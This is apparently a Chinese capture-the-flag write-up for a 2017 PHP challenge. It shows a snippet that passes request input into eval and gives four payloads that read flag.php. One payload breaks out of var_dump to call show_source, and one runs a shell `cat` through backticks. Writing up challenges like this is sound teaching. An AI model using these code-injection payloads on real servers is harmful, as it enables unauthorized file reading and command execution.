CTF || [“百度杯”CTF比赛 2017 二月场]爆破-2

题目内容:flag不在变量中。

include "flag.php";
$a = @$_REQUEST['hello'];
eval( "var_dump($a);");
show_source(__FILE__);

分值:10分

方法一:
flag不在变量中,可以推测flag在文件中,使用file_get_contents函数
?hello=file_get_contents(%27flag.php%27),获得flag.php的内容
然后查看网页源代码
其中'编码为%27,url中特殊符号编码是为了避免歧义。

方法二:
?hello=file("flag.php")

file_get_contents() 函数把整个文件读入一个字符串中。

file() 函数把整个文件读入一个数组中。与 file_get_contents() 类似,不同的是file() 将文件作为一个数组返回。数组中的每个单元都是文件中相应的一行,包括换行符在内。如果失败,则返回 false。

方法三:
?hello=1);show_source(%27flag.php%27);var_dump(
eval语句变成:eval("var_dump(1);show_source(%27flag.php%27);var_dump();")
show_source() 函数对文件进行语法高亮显示。本函数是 highlight_file() 的别名。

方法四:
?hello=);echo%20`cat%20./flag.php`;//
eval语句变成:eval("var_dump();echo `cat ./flag.php`;//");
cat Linux中查看全部文件
./ 执行脚本

参考
“百度杯”CTF比赛 2017 二月场——Web-爆破-2
url为什么要编码
https://www.ichunqiu.com/writeup/detail/859
https://www.ichunqiu.com/writeup/detail/681
https://www.ichunqiu.com/writeup/detail/343
https://www.ichunqiu.com/writeup/detail/1613

你可能感兴趣的:(CTF || [“百度杯”CTF比赛 2017 二月场]爆破-2)